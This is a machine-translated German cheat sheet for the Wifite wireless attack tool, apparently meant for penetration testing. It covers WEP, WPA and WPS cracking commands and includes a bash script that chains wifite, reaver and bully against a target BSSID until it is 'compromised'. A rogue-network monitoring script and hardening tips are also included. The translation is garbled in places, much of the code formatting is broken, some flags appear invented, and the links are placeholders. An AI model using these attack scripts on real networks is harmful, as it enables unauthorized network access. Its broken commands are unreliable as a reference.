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Überblick

Wifite ist ein automatisiertes drahtloses Angriffstool, das den Prozess der Prüfung von WEP, WPA und WPS verschlüsselten Netzwerken vereinfacht. Es automatisiert viele der mühsamen Aufgaben, die an der drahtlosen Penetrationsprüfung beteiligt sind, indem es mehrere Werkzeuge wie Aircrack-ng, Reaver, bully und andere in eine einzige, einfach zu bedienende Schnittstelle integriert. Wifite kann Sicherheitsfehler automatisch erkennen und versuchen, drahtlose Netzwerke mit verschiedenen Angriffsmethoden zu knacken.

ZEIT Warning: Verwenden Sie Wifite nur gegen drahtlose Netzwerke, die Sie besitzen oder eine ausdrückliche Erlaubnis zum Testen haben. Unbefugte drahtlose Angriffe können lokale Gesetze und Vorschriften verletzen.

Installation

Kali Linux Installation

```bash

Wifite is pre-installed on Kali Linux

wifite --help

Update to latest version

sudo apt update sudo apt install wifite

Install Wifite2 (newer version)

sudo apt install wifite2 ```_

Ubuntu/Debian Installation

```bash

Install dependencies first

sudo apt update sudo apt install python3 python3-pip aircrack-ng reaver bully pixiewps

Install from package manager

sudo apt install wifite

Or install via pip

sudo pip3 install wifite2

Install additional tools for full functionality

sudo apt install hashcat hcxdumptool hcxtools tshark ```_

Manuelle Installation

```bash

Clone Wifite2 repository

git clone https://github.com/derv82/wifite2.git cd wifite2

Install Python dependencies

sudo pip3 install -r requirements.txt

Install Wifite

sudo python3 setup.py install

Make executable

sudo chmod +x wifite.py sudo ln -s $(pwd)/wifite.py /usr/local/bin/wifite

Verify installation

wifite --help ```_

Docker Installation

```bash

Pull Wifite Docker image

docker pull kalilinux/kali-rolling

Run with network privileges

docker run -it --rm --net=host --privileged \ -v /dev/bus/usb:/dev/bus/usb \ kalilinux/kali-rolling

Inside container, install Wifite

apt update && apt install -y wifite ```_

Abhängigkeiten und Werkzeuge

Erforderliche Werkzeuge

```bash

Check required tools

wifite --check

Install aircrack-ng suite

sudo apt install aircrack-ng

Install reaver for WPS attacks

sudo apt install reaver

Install bully (alternative WPS tool)

sudo apt install bully

Install pixiewps for WPS PIN attacks

sudo apt install pixiewps

Install hashcat for password cracking

sudo apt install hashcat

Install hcxtools for PMKID attacks

sudo apt install hcxdumptool hcxtools ```_

Optionale Werkzeuge

```bash

Install tshark for packet analysis

sudo apt install tshark

Install cowpatty for WPA cracking

sudo apt install cowpatty

Install john the ripper

sudo apt install john

Install macchanger for MAC spoofing

sudo apt install macchanger

Install pyrit for GPU acceleration

sudo apt install pyrit ```_

Basisnutzung

Schnittstellen-Setup

```bash

List available interfaces

wifite --list-interfaces

Use specific interface

wifite --interface wlan0

Put interface in monitor mode manually

sudo airmon-ng start wlan0

Check monitor mode interfaces

iwconfig ```_

Basic Scanning und Angriffe

```bash

Basic scan and attack

sudo wifite

Scan specific interface

sudo wifite --interface wlan0

Attack specific target by BSSID

sudo wifite --bssid AA:BB:CC:DD:EE:FF

Attack specific target by ESSID

sudo wifite --essid "TargetNetwork"

Show verbose output

sudo wifite --verbose

Quiet mode (minimal output)

sudo wifite --quiet ```_

Zielauswahl

```bash

Attack only WEP networks

sudo wifite --wep

Attack only WPA networks

sudo wifite --wpa

Attack only WPS networks

sudo wifite --wps

Attack networks with specific encryption

sudo wifite --wep --wpa --wps

Filter by signal strength (minimum dBm)

sudo wifite --min-power -50

Attack only networks with clients

sudo wifite --clients-only ```_

WEP Angriffe

WEP Cracking

```bash

Target only WEP networks

sudo wifite --wep

Specify WEP timeout

sudo wifite --wep --wep-timeout 600

Set packet threshold for WEP

sudo wifite --wep --wep-pps 300

Use specific WEP attack methods

sudo wifite --wep --wep-filter

Keep temporary files for analysis

sudo wifite --wep --keep-ivs ```_

Erweiterte WEP-Optionen

```bash

Replay attack options

sudo wifite --wep --wep-pps 500 --wep-timeout 1200

Use ARP replay attack

sudo wifite --wep --wep-replay

Use fragmentation attack

sudo wifite --wep --wep-frag

Use chopchop attack

sudo wifite --wep --wep-chopchop

Combine multiple attack methods

sudo wifite --wep --wep-replay --wep-frag --wep-chopchop ```_

WPA/WPA2 Angriffe

Handshake Capture

```bash

Target WPA networks

sudo wifite --wpa

Set handshake timeout

sudo wifite --wpa --wpa-timeout 300

Specify handshake directory

sudo wifite --wpa --wpa-handshake-dir /tmp/handshakes

Deauth packet count

sudo wifite --wpa --wpa-deauth-timeout 10

Attack with custom wordlist

sudo wifite --wpa --dict /path/to/wordlist.txt ```_

PMKID Angriffe

```bash

Enable PMKID attack

sudo wifite --wpa --pmkid

PMKID timeout

sudo wifite --wpa --pmkid --pmkid-timeout 300

Combine handshake and PMKID

sudo wifite --wpa --pmkid --wpa-handshake

Use specific PMKID tool

sudo wifite --wpa --pmkid --hcxdumptool-timeout 60 ```_

WPA Cracking Optionen

```bash

Use aircrack-ng for cracking

sudo wifite --wpa --wpa-attack aircrack

Use hashcat for cracking

sudo wifite --wpa --wpa-attack hashcat

Use john the ripper

sudo wifite --wpa --wpa-attack john

Specify custom wordlist

sudo wifite --wpa --dict /usr/share/wordlists/rockyou.txt

Strip handshake (remove unnecessary data)

sudo wifite --wpa --wpa-strip ```_

WEITER Angriffe

Grundlegende WPS Angriffe

```bash

Target only WPS networks

sudo wifite --wps

WPS timeout setting

sudo wifite --wps --wps-timeout 300

Maximum WPS attempts

sudo wifite --wps --wps-attempts 100

WPS attack methods

sudo wifite --wps --wps-pixie --wps-pin ```_

Pixie Dust Attack

```bash

Pixie dust attack only

sudo wifite --wps --wps-pixie

Pixie dust timeout

sudo wifite --wps --wps-pixie --pixie-timeout 300

Skip PIN attack if pixie fails

sudo wifite --wps --wps-pixie --wps-no-pin

Use specific pixie tool

sudo wifite --wps --wps-pixie --pixie-tool pixiewps ```_

WPS PIN Angriffe

```bash

PIN attack only

sudo wifite --wps --wps-pin

PIN attack timeout

sudo wifite --wps --wps-pin --pin-timeout 3600

Use reaver for PIN attack

sudo wifite --wps --wps-pin --reaver

Use bully for PIN attack

sudo wifite --wps --wps-pin --bully

Custom PIN attempts

sudo wifite --wps --wps-pin --wps-attempts 1000 ```_

Erweiterte Optionen

Ausgabe und Logging

```bash

Specify output directory

sudo wifite --out-dir /tmp/wifite_results

Keep temporary files

sudo wifite --keep-temp

Save cracked passwords

sudo wifite --cracked-file /tmp/cracked.txt

Verbose logging

sudo wifite --verbose --out-dir /tmp/logs

Quiet mode with logging

sudo wifite --quiet --out-dir /tmp/results ```_

Netzwerkfilterung

```bash

Filter by manufacturer

sudo wifite --manufacturer Linksys

Filter by channel

sudo wifite --channel 6

Multiple channels

sudo wifite --channel 1,6,11

Exclude specific networks

sudo wifite --ignore-essid "MyNetwork,GuestWiFi"

Include only specific networks

sudo wifite --essid "TargetNetwork"

Filter by encryption type

sudo wifite --wpa --wps --ignore-wep ```_

Attack Customization

```bash

Custom deauth count

sudo wifite --wpa-deauth 5

Custom scan time

sudo wifite --scan-time 30

Attack timeout

sudo wifite --attack-timeout 3600

Number of targets to attack

sudo wifite --num-targets 5

Infinite attack mode

sudo wifite --infinite ```_

Automatisierungsskripte

Automatisierte drahtlose Bewertung

```bash

!/bin/bash

Comprehensive wireless security assessment with Wifite

INTERFACE="wlan0" OUTPUT_DIR="wireless_assessment_$(date +%Y%m%d_%H%M%S)" WORDLIST="/usr/share/wordlists/rockyou.txt" SCAN_TIME=60 ATTACK_TIMEOUT=1800

mkdir -p "$OUTPUT_DIR"

Function to setup interface

setup_interface() \\{ echo "[+] Setting up wireless interface: $INTERFACE"

# Kill conflicting processes
sudo airmon-ng check kill

# Start monitor mode
sudo airmon-ng start "$INTERFACE"

# Get monitor interface name

| MONITOR_INTERFACE=$(iwconfig 2>/dev/null | grep "Mode:Monitor" | awk '\\{print $1\\}') |

if [ -z "$MONITOR_INTERFACE" ]; then
    echo "[-] Failed to create monitor interface"
    return 1
fi

echo "[+] Monitor interface created: $MONITOR_INTERFACE"
return 0

\\}

Function to run comprehensive scan

run_comprehensive_scan() \\{ echo "[+] Running comprehensive wireless assessment"

# WEP Assessment
echo "[+] Phase 1: WEP Network Assessment"
sudo wifite \
    --interface "$MONITOR_INTERFACE" \
    --wep \
    --wep-timeout "$ATTACK_TIMEOUT" \
    --out-dir "$OUTPUT_DIR/wep" \
    --verbose \
    --scan-time "$SCAN_TIME" \
    2>&1|tee "$OUTPUT_DIR/wep_assessment.log"

# WPA Assessment
echo "[+] Phase 2: WPA/WPA2 Network Assessment"
sudo wifite \
    --interface "$MONITOR_INTERFACE" \
    --wpa \
    --pmkid \
    --wpa-timeout "$ATTACK_TIMEOUT" \
    --dict "$WORDLIST" \
    --out-dir "$OUTPUT_DIR/wpa" \
    --verbose \
    --scan-time "$SCAN_TIME" \
    2>&1|tee "$OUTPUT_DIR/wpa_assessment.log"

# WPS Assessment
echo "[+] Phase 3: WPS Network Assessment"
sudo wifite \
    --interface "$MONITOR_INTERFACE" \
    --wps \
    --wps-pixie \
    --wps-pin \
    --wps-timeout "$ATTACK_TIMEOUT" \
    --out-dir "$OUTPUT_DIR/wps" \
    --verbose \
    --scan-time "$SCAN_TIME" \
    2>&1|tee "$OUTPUT_DIR/wps_assessment.log"

\\}

Function to generate report

generate_report() \\{ echo "[+] Generating assessment report"

local report_file="$OUTPUT_DIR/wireless_assessment_report.html"

cat > "$report_file" << EOF

Wireless Security Assessment Report

Generated: $(date)

Assessment Duration: $(echo "scale=2; $ATTACK_TIMEOUT/60"|bc) minutes per phase

EOF # WEP Results echo "

" >> "$report_file" echo "

WEP Network Assessment

" >> "$report_file" if [ -f "$OUTPUT_DIR/wep_assessment.log" ]; then | wep_cracked=$(grep -c "WEP KEY FOUND" "$OUTPUT_DIR/wep_assessment.log" 2>/dev/null | | echo "0") | | wep_total=$(grep -c "WEP" "$OUTPUT_DIR/wep_assessment.log" 2>/dev/null | | echo "0") | if [ "$wep_cracked" -gt 0 ]; then echo "

" >> "$report_file" echo "

⚠️ CRITICAL: WEP Networks Compromised

" >> "$report_file" echo "

Successfully cracked $wep_cracked out of $wep_total WEP networks

" >> "$report_file" echo "

" >> "$report_file" else echo "

" >> "$report_file" echo "

✅ No WEP vulnerabilities exploited

" >> "$report_file" echo "

Tested $wep_total WEP networks

" >> "$report_file" echo "

" >> "$report_file" fi fi echo "

" >> "$report_file" # WPA Results echo "

" >> "$report_file" echo "

WPA/WPA2 Network Assessment

" >> "$report_file" if [ -f "$OUTPUT_DIR/wpa_assessment.log" ]; then | wpa_cracked=$(grep -c "WPA KEY FOUND\ | PMKID FOUND" "$OUTPUT_DIR/wpa_assessment.log" 2>/dev/null | | echo "0") | | handshakes=$(grep -c "handshake" "$OUTPUT_DIR/wpa_assessment.log" 2>/dev/null | | echo "0") | if [ "$wpa_cracked" -gt 0 ]; then echo "

" >> "$report_file" echo "

⚠️ HIGH: WPA/WPA2 Networks Compromised

" >> "$report_file" echo "

Successfully cracked $wpa_cracked WPA/WPA2 networks

" >> "$report_file" echo "

Captured $handshakes handshakes for offline analysis

" >> "$report_file" echo "

" >> "$report_file" else echo "

" >> "$report_file" echo "

⚠️ Handshakes captured for offline analysis

" >> "$report_file" echo "

Captured $handshakes handshakes - recommend stronger passwords

" >> "$report_file" echo "

" >> "$report_file" fi fi echo "

" >> "$report_file" # WPS Results echo "

" >> "$report_file" echo "

WPS Network Assessment

" >> "$report_file" if [ -f "$OUTPUT_DIR/wps_assessment.log" ]; then | wps_cracked=$(grep -c "WPS PIN FOUND\ | WPS KEY FOUND" "$OUTPUT_DIR/wps_assessment.log" 2>/dev/null | | echo "0") | | pixie_success=$(grep -c "Pixie" "$OUTPUT_DIR/wps_assessment.log" 2>/dev/null | | echo "0") | if [ "$wps_cracked" -gt 0 ]; then echo "

" >> "$report_file" echo "

⚠️ CRITICAL: WPS Networks Compromised

" >> "$report_file" echo "

Successfully cracked $wps_cracked WPS-enabled networks

" >> "$report_file" echo "

Pixie dust attacks successful: $pixie_success

" >> "$report_file" echo "

" >> "$report_file" else echo "

" >> "$report_file" echo "

✅ WPS attacks unsuccessful

" >> "$report_file" echo "

WPS-enabled networks appear to be properly configured

" >> "$report_file" echo "

" >> "$report_file" fi fi echo "

" >> "$report_file" # Recommendations cat >> "$report_file" << EOF

Security Recommendations

• Disable WEP: WEP encryption is fundamentally broken and should never be used
• Use WPA3: Upgrade to WPA3 where possible, or WPA2 with strong passwords
• Disable WPS: WPS is vulnerable to brute force and pixie dust attacks
• Strong Passwords: Use complex passwords with 15+ characters
• Regular Updates: Keep wireless equipment firmware updated
• Network Segmentation: Isolate wireless networks from critical systems
• Monitor for Rogue APs: Regularly scan for unauthorized access points

EOF

echo "[+] Report generated: $report_file"

\\}

Function to cleanup

cleanup() \\{ echo "[+] Cleaning up..."

# Stop monitor mode
if [ -n "$MONITOR_INTERFACE" ]; then
    sudo airmon-ng stop "$MONITOR_INTERFACE"
fi

# Restart network services

| sudo systemctl restart NetworkManager 2>/dev/null | | true |

echo "[+] Cleanup completed"

\\}

Trap cleanup on exit

trap cleanup EXIT

Main execution

echo "[+] Starting comprehensive wireless security assessment" echo "[+] Output directory: $OUTPUT_DIR"

Check dependencies

if ! command -v wifite &> /dev/null; then echo "[-] Wifite not found. Please install Wifite first." exit 1 fi

if ! command -v airmon-ng &> /dev/null; then echo "[-] airmon-ng not found. Please install aircrack-ng suite." exit 1 fi

Setup interface

if setup_interface; then # Run assessment run_comprehensive_scan

# Generate report
generate_report

echo "[+] Wireless security assessment completed"
echo "[+] Results saved in: $OUTPUT_DIR"
echo "[+] Open $OUTPUT_DIR/wireless_assessment_report.html for detailed results"

else echo "[-] Failed to setup wireless interface" exit 1 fi ```_

Gezieltes WPS Angriffsskript

```bash

!/bin/bash

Targeted WPS attack script with multiple methods

TARGET_BSSID="$1" INTERFACE="wlan0" OUTPUT_DIR="wps_attack_$(date +%Y%m%d_%H%M%S)"

if [ -z "$TARGET_BSSID" ]; then echo "Usage: $0 " echo "Example: $0 AA:BB:CC:DD:EE:FF" exit 1 fi

mkdir -p "$OUTPUT_DIR"

Function to setup monitor mode

setup_monitor() \\{ echo "[+] Setting up monitor mode on $INTERFACE"

sudo airmon-ng check kill
sudo airmon-ng start "$INTERFACE"

| MONITOR_INTERFACE=$(iwconfig 2>/dev/null | grep "Mode:Monitor" | awk '\\{print $1\\}') |

if [ -z "$MONITOR_INTERFACE" ]; then
    echo "[-] Failed to create monitor interface"
    return 1
fi

echo "[+] Monitor interface: $MONITOR_INTERFACE"
return 0

\\}

Function to run pixie dust attack

pixie_dust_attack() \\{ echo "[+] Attempting Pixie Dust attack on $TARGET_BSSID"

local log_file="$OUTPUT_DIR/pixie_dust.log"

timeout 300 sudo wifite \
    --interface "$MONITOR_INTERFACE" \
    --bssid "$TARGET_BSSID" \
    --wps \
    --wps-pixie \
    --wps-no-pin \
    --out-dir "$OUTPUT_DIR" \
    --verbose \
    2>&1|tee "$log_file"

if grep -q "WPS PIN FOUND\|WPS KEY FOUND" "$log_file"; then
    echo "[+] Pixie Dust attack successful!"
    return 0
else
    echo "[-] Pixie Dust attack failed"
    return 1
fi

\\}

Function to run PIN attack

pin_attack() \\{ echo "[+] Attempting WPS PIN attack on $TARGET_BSSID"

local log_file="$OUTPUT_DIR/pin_attack.log"

timeout 3600 sudo wifite \
    --interface "$MONITOR_INTERFACE" \
    --bssid "$TARGET_BSSID" \
    --wps \
    --wps-pin \
    --wps-attempts 1000 \
    --out-dir "$OUTPUT_DIR" \
    --verbose \
    2>&1|tee "$log_file"

if grep -q "WPS PIN FOUND\|WPS KEY FOUND" "$log_file"; then
    echo "[+] PIN attack successful!"
    return 0
else
    echo "[-] PIN attack failed"
    return 1
fi

\\}

Function to run reaver attack

reaver_attack() \\{ echo "[+] Attempting Reaver attack on $TARGET_BSSID"

local log_file="$OUTPUT_DIR/reaver_attack.log"

timeout 1800 sudo reaver \
    -i "$MONITOR_INTERFACE" \
    -b "$TARGET_BSSID" \
    -vv \
    -K 1 \
    -N \
    -L \
    -d 15 \
    -T 0.5 \
    -c 1 \
    2>&1|tee "$log_file"

if grep -q "WPS PIN:" "$log_file"; then
    echo "[+] Reaver attack successful!"
    return 0
else
    echo "[-] Reaver attack failed"
    return 1
fi

\\}

Function to run bully attack

bully_attack() \\{ echo "[+] Attempting Bully attack on $TARGET_BSSID"

local log_file="$OUTPUT_DIR/bully_attack.log"

timeout 1800 sudo bully \
    "$MONITOR_INTERFACE" \
    -b "$TARGET_BSSID" \
    -v 3 \
    -d \
    -B \
    2>&1|tee "$log_file"

if grep -q "PIN FOUND" "$log_file"; then
    echo "[+] Bully attack successful!"
    return 0
else
    echo "[-] Bully attack failed"
    return 1
fi

\\}

Function to generate attack report

generate_attack_report() \\{ echo "[+] Generating attack report"

local report_file="$OUTPUT_DIR/wps_attack_report.txt"

cat > "$report_file" << EOF

WPS Attack Report

Target: $TARGET_BSSID Date: $(date) Interface: $MONITOR_INTERFACE

Attack Methods Attempted: EOF

# Check results of each attack
if [ -f "$OUTPUT_DIR/pixie_dust.log" ]; then
    echo "1. Pixie Dust Attack:" >> "$report_file"
    if grep -q "WPS PIN FOUND\|WPS KEY FOUND" "$OUTPUT_DIR/pixie_dust.log"; then
        echo "   Status: SUCCESS" >> "$report_file"

| grep -E "WPS PIN | WPS KEY | PSK" "$OUTPUT_DIR/pixie_dust.log" >> "$report_file" | else echo " Status: FAILED" >> "$report_file" fi echo "" >> "$report_file" fi

if [ -f "$OUTPUT_DIR/pin_attack.log" ]; then
    echo "2. PIN Attack:" >> "$report_file"
    if grep -q "WPS PIN FOUND\|WPS KEY FOUND" "$OUTPUT_DIR/pin_attack.log"; then
        echo "   Status: SUCCESS" >> "$report_file"

| grep -E "WPS PIN | WPS KEY | PSK" "$OUTPUT_DIR/pin_attack.log" >> "$report_file" | else echo " Status: FAILED" >> "$report_file" fi echo "" >> "$report_file" fi

if [ -f "$OUTPUT_DIR/reaver_attack.log" ]; then
    echo "3. Reaver Attack:" >> "$report_file"
    if grep -q "WPS PIN:" "$OUTPUT_DIR/reaver_attack.log"; then
        echo "   Status: SUCCESS" >> "$report_file"
        grep -E "WPS PIN|PSK" "$OUTPUT_DIR/reaver_attack.log" >> "$report_file"
    else
        echo "   Status: FAILED" >> "$report_file"
    fi
    echo "" >> "$report_file"
fi

if [ -f "$OUTPUT_DIR/bully_attack.log" ]; then
    echo "4. Bully Attack:" >> "$report_file"
    if grep -q "PIN FOUND" "$OUTPUT_DIR/bully_attack.log"; then
        echo "   Status: SUCCESS" >> "$report_file"
        grep -E "PIN FOUND|PSK" "$OUTPUT_DIR/bully_attack.log" >> "$report_file"
    else
        echo "   Status: FAILED" >> "$report_file"
    fi
    echo "" >> "$report_file"
fi

echo "[+] Report saved: $report_file"

\\}

Cleanup function

cleanup() \\{ echo "[+] Cleaning up..." if [ -n "$MONITOR_INTERFACE" ]; then sudo airmon-ng stop "$MONITOR_INTERFACE" fi | sudo systemctl restart NetworkManager 2>/dev/null | | true | \\}

trap cleanup EXIT

Main execution

echo "[+] Starting targeted WPS attack on $TARGET_BSSID"

if setup_monitor; then # Try pixie dust first (fastest) if pixie_dust_attack; then echo "[+] Target compromised via Pixie Dust attack!" else echo "[+] Pixie Dust failed, trying PIN attack..." if pin_attack; then echo "[+] Target compromised via PIN attack!" else echo "[+] Wifite attacks failed, trying manual tools..."

        # Try reaver
        if reaver_attack; then
            echo "[+] Target compromised via Reaver!"
        else
            echo "[+] Reaver failed, trying Bully..."
            if bully_attack; then
                echo "[+] Target compromised via Bully!"
            else
                echo "[-] All WPS attacks failed"
            fi
        fi
    fi
fi

generate_attack_report
echo "[+] Attack completed. Results in: $OUTPUT_DIR"

else echo "[-] Failed to setup monitor mode" exit 1 fi ```_

Continuous Monitoring Script

```bash

!/bin/bash

Continuous wireless monitoring and alerting

INTERFACE="wlan0" SCAN_INTERVAL=300 # 5 minutes ALERT_EMAIL="security@company.com" KNOWN_NETWORKS_FILE="known_networks.txt" LOG_DIR="wireless_monitoring"

mkdir -p "$LOG_DIR"

Function to create known networks file

create_known_networks() \\{ if [ ! -f "$KNOWN_NETWORKS_FILE" ]; then cat > "$KNOWN_NETWORKS_FILE" << 'EOF'

Known legitimate networks

| # Format: BSSID | ESSID | ENCRYPTION | | AA:BB:CC:DD:EE:FF | CompanyWiFi | WPA2 | | 11:22:33:44:55:66 | GuestNetwork | WPA2 |

Add your known networks here

EOF echo "Created $KNOWN_NETWORKS_FILE - please configure with your known networks" exit 1 fi \\}

Function to scan for networks

scan_networks() \\{ local timestamp=$(date +%Y%m%d_%H%M%S) local scan_file="$LOG_DIR/scan_$timestamp.txt"

echo "[+] Scanning for wireless networks..."

timeout 60 sudo wifite \
    --interface "$MONITOR_INTERFACE" \
    --scan-time 30 \
    --no-attack \
    --out-dir "$LOG_DIR" \

| 2>&1 | grep -E "BSSID | ESSID | WEP | WPA | WPS" > "$scan_file" |

echo "$scan_file"

\\}

Function to detect rogue networks

detect_rogue_networks() \\{ local scan_file="$1" local timestamp=$(date +%Y%m%d_%H%M%S) local rogue_file="$LOG_DIR/rogue_$timestamp.txt"

echo "[+] Analyzing scan results for rogue networks..."

> "$rogue_file"  # Clear file

# Parse scan results and compare with known networks
while read -r line; do
    if [[ "$line" =~ BSSID ]]; then
        bssid=$(echo "$line"|grep -oE '([0-9A-Fa-f]\\\\{2\\\\}:)\\\\{5\\\\}[0-9A-Fa-f]\\\\{2\\\\}')

        # Check if this BSSID is in known networks
        if ! grep -q "$bssid" "$KNOWN_NETWORKS_FILE"; then
            echo "$line" >> "$rogue_file"
        fi
    fi
done < "$scan_file"

if [ -s "$rogue_file" ]; then
    echo "[!] Rogue networks detected!"
    cat "$rogue_file"

    # Send alert
    echo "Rogue wireless networks detected at $(date)"|\

| mail -s "SECURITY ALERT: Rogue Networks" -A "$rogue_file" "$ALERT_EMAIL" 2>/dev/null | | \ | echo "Alert: Rogue networks detected (email failed)" else echo "[+] No rogue networks detected" fi \\}

Function to detect security issues

detect_security_issues() \\{ local scan_file="$1" local timestamp=$(date +%Y%m%d_%H%M%S) local issues_file="$LOG_DIR/security_issues_$timestamp.txt"

echo "[+] Checking for security issues..."

cat > "$issues_file" << EOF

Wireless Security Issues Report Generated: $(date) ==============================

EOF

# Check for WEP networks

| wep_count=$(grep -c "WEP" "$scan_file" 2>/dev/null | | echo "0") | if [ "$wep_count" -gt 0 ]; then echo "⚠️ WEP Networks Detected: $wep_count" >> "$issues_file" grep "WEP" "$scan_file" >> "$issues_file" echo "" >> "$issues_file" fi

# Check for open networks

| open_count=$(grep -c "Open" "$scan_file" 2>/dev/null | | echo "0") | if [ "$open_count" -gt 0 ]; then echo "⚠️ Open Networks Detected: $open_count" >> "$issues_file" grep "Open" "$scan_file" >> "$issues_file" echo "" >> "$issues_file" fi

# Check for WPS enabled networks

| wps_count=$(grep -c "WPS" "$scan_file" 2>/dev/null | | echo "0") | if [ "$wps_count" -gt 0 ]; then echo "⚠️ WPS Enabled Networks: $wps_count" >> "$issues_file" grep "WPS" "$scan_file" >> "$issues_file" echo "" >> "$issues_file" fi

# Send alert if issues found
total_issues=$((wep_count + open_count + wps_count))
if [ "$total_issues" -gt 0 ]; then
    echo "Wireless security issues detected: $total_issues"|\

| mail -s "Wireless Security Issues" -A "$issues_file" "$ALERT_EMAIL" 2>/dev/null | | \ | echo "Alert: Security issues detected (email failed)" fi \\}

Function to setup monitor mode

setup_monitor() \\{ echo "[+] Setting up monitor mode"

sudo airmon-ng check kill
sudo airmon-ng start "$INTERFACE"

| MONITOR_INTERFACE=$(iwconfig 2>/dev/null | grep "Mode:Monitor" | awk '\\{print $1\\}') |

if [ -z "$MONITOR_INTERFACE" ]; then
    echo "[-] Failed to create monitor interface"
    return 1
fi

echo "[+] Monitor interface: $MONITOR_INTERFACE"
return 0

\\}

Cleanup function

cleanup() \\{ echo "[+] Stopping monitoring..." if [ -n "$MONITOR_INTERFACE" ]; then sudo airmon-ng stop "$MONITOR_INTERFACE" fi | sudo systemctl restart NetworkManager 2>/dev/null | | true | \\}

trap cleanup EXIT

Main monitoring loop

echo "[+] Starting continuous wireless monitoring"

create_known_networks

if setup_monitor; then echo "[+] Monitoring every $SCAN_INTERVAL seconds. Press Ctrl+C to stop."

while true; do
    scan_file=$(scan_networks)

    if [ -f "$scan_file" ] && [ -s "$scan_file" ]; then
        detect_rogue_networks "$scan_file"
        detect_security_issues "$scan_file"
    else
        echo "[-] Scan failed or no results"
    fi

    echo "[+] Next scan in $SCAN_INTERVAL seconds..."
    sleep "$SCAN_INTERVAL"
done

else echo "[-] Failed to setup monitor mode" exit 1 fi ```_

Fehlerbehebung

Gemeinsame Themen

Schnittstellenprobleme

```bash

Check interface status

iwconfig

Kill conflicting processes

sudo airmon-ng check kill

Restart network manager

sudo systemctl restart NetworkManager

Check for monitor mode support

iw list|grep monitor

Manual monitor mode setup

sudo ip link set wlan0 down sudo iw dev wlan0 set type monitor sudo ip link set wlan0 up ```_

Genehmigungsfragen

```bash

Run with sudo

sudo wifite

Check user groups

groups $USER

Add user to required groups

sudo usermod -aG netdev $USER

Fix file permissions

sudo chmod +x /usr/bin/wifite ```_

Werkzeugabhängigkeiten

```bash

Check required tools

wifite --check

Install missing dependencies

sudo apt install aircrack-ng reaver bully pixiewps

Update tool databases

sudo apt update && sudo apt upgrade

Check tool versions

aircrack-ng --help reaver -h bully -h ```_

Angriffsversagen

```bash

Increase timeout values

sudo wifite --wpa-timeout 600

Use specific attack methods

sudo wifite --wps --wps-pixie

Check signal strength

sudo wifite --min-power -60

Use verbose output for debugging

sudo wifite --verbose ```_

Leistungsoptimierung

```bash

Reduce scan time

sudo wifite --scan-time 15

Target specific networks

sudo wifite --essid "TargetNetwork"

Use faster attack methods

sudo wifite --wps --wps-pixie --wps-no-pin

Optimize for specific encryption

sudo wifite --wpa --pmkid ```_

Ressourcen

• Wifite2 GitHub Repository
• (__LINK_7___)
• (__LINK_7___)
• (LINK_7)
• [WPS Sicherheitsanalyse](_LINK_7___
• [802.11 Sicherheit](_LINK_7___
• [Wireless Penetration Test](LINK_7

--

*Dieses Betrügereiblatt bietet eine umfassende Referenz für die Verwendung von Wifite für automatisierte drahtlose Sicherheitstests. Stellen Sie immer sicher, dass Sie eine richtige Berechtigung haben, bevor Sie dieses Tool in jeder Umgebung verwenden. *